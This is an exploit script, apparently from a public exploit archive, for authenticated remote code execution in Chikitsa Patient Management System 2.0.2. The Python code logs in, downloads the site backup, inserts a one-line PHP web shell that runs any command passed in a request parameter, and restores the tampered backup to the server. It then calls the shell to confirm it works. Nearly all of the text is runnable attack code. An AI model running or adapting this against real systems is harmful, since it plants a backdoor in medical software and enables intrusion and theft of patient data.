Chikitsa Patient Management System 2.0.2 Backup Remote Code Execution

`# Exploit Title: Chikitsa Patient Management System 2.0.2 - 'plugin' Remote Code Execution (RCE) (Authenticated)  
# Date: 03/12/2021  
# Exploit Author: 0z09e (https://twitter.com/0z09e)  
# Vendor Homepage: https://sourceforge.net/u/dharashah/profile/  
# Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download  
# Version: 2.0.2  
# Tested on: Ubuntu  
  
import requests  
import os  
from zipfile import ZipFile  
import argparse  
  
  
  
  
def login(session , target , username , password):  
print("[+] Attempting to login with the credential")  
url = target + "/index.php/login/valid_signin"  
login_data = {"username" : username , "password" : password}  
session.post(url , data=login_data , verify=False)  
return session  
  
  
def download_backup( session , target):  
print("[+] Downloading the backup (This may take some time)")  
url = target + "/index.php/settings/take_backup/"  
backup_req = session.get(url , verify=False)  
global tmp_dir  
tmp_dir = os.popen("mktemp -d").read().rstrip()  
open(tmp_dir + "/backup_raw.zip" , "wb").write(backup_req.content)  
print(f"[+] Backup downloaded at {tmp_dir}/backup_raw.zip")  
  
  
def modify_backup():  
print("[+] Modifying the backup by injecting a backdoor.")  
zf = ZipFile(f'{tmp_dir}/backup_raw.zip', 'r')  
zf.extractall(tmp_dir)  
zf.close()  
open(tmp_dir + "/uploads/media/rce.php" , "w").write("<?php system($_REQUEST['cmd']);?>")  
os.popen(f"cd {tmp_dir}/ && zip -r backup_modified.zip chikitsa-backup.sql prefix.txt uploads/").read()  
  
  
def upload_backup(session , target):  
print("[+] Uploading the backup back into the server.(This may take some time)")  
url = target + "/index.php/settings/restore_backup"  
file = open(f"{tmp_dir}/backup_modified.zip" , "rb").read()  
session.post(url , verify=False ,files = {"backup" : ("backup-modified.zip" , file)})  
print(f"[+] Backdoor Deployed at : {target}/uploads/restore_backup/uploads/media/rce.php")  
print(f"[+] Example Output : {requests.get(target +'/uploads/restore_backup/uploads/media/rce.php?cmd=id' , verify=False).text}")  
  
  
  
  
def main():  
parser = argparse.ArgumentParser("""  
__ _ __ _ __   
_____/ /_ (_) /__(_) /__________ _  
/ ___/ __ \/ / //_/ / __/ ___/ __ `/  
/ /__/ / / / / ,< / / /_(__ ) /_/ /   
\___/_/ /_/_/_/|_/_/\__/____/\__,_/   
  
Chikitsa Patient Management System 2.0.2 Authenticated Remote Code Execution :   
POC Written By - 0z09e (https://twitter.com/0z09e)\n\n""" , formatter_class=argparse.RawTextHelpFormatter)  
req_args = parser.add_argument_group('required arguments')  
req_args.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/chikitsa")  
req_args.add_argument("-u" , "--username" , help="Username" , required=True)  
req_args.add_argument("-p" , "--password" , help="password", required=True)  
args = parser.parse_args()  
  
target = args.URL  
if target[-1] == "/":  
target = target[:-1]  
username = args.username  
password = args.password  
  
session = requests.session()  
login(session ,target , username , password)  
download_backup(session , target )  
modify_backup()  
upload_backup(session , target)  
  
  
if __name__ == "__main__":  
main()  
  
`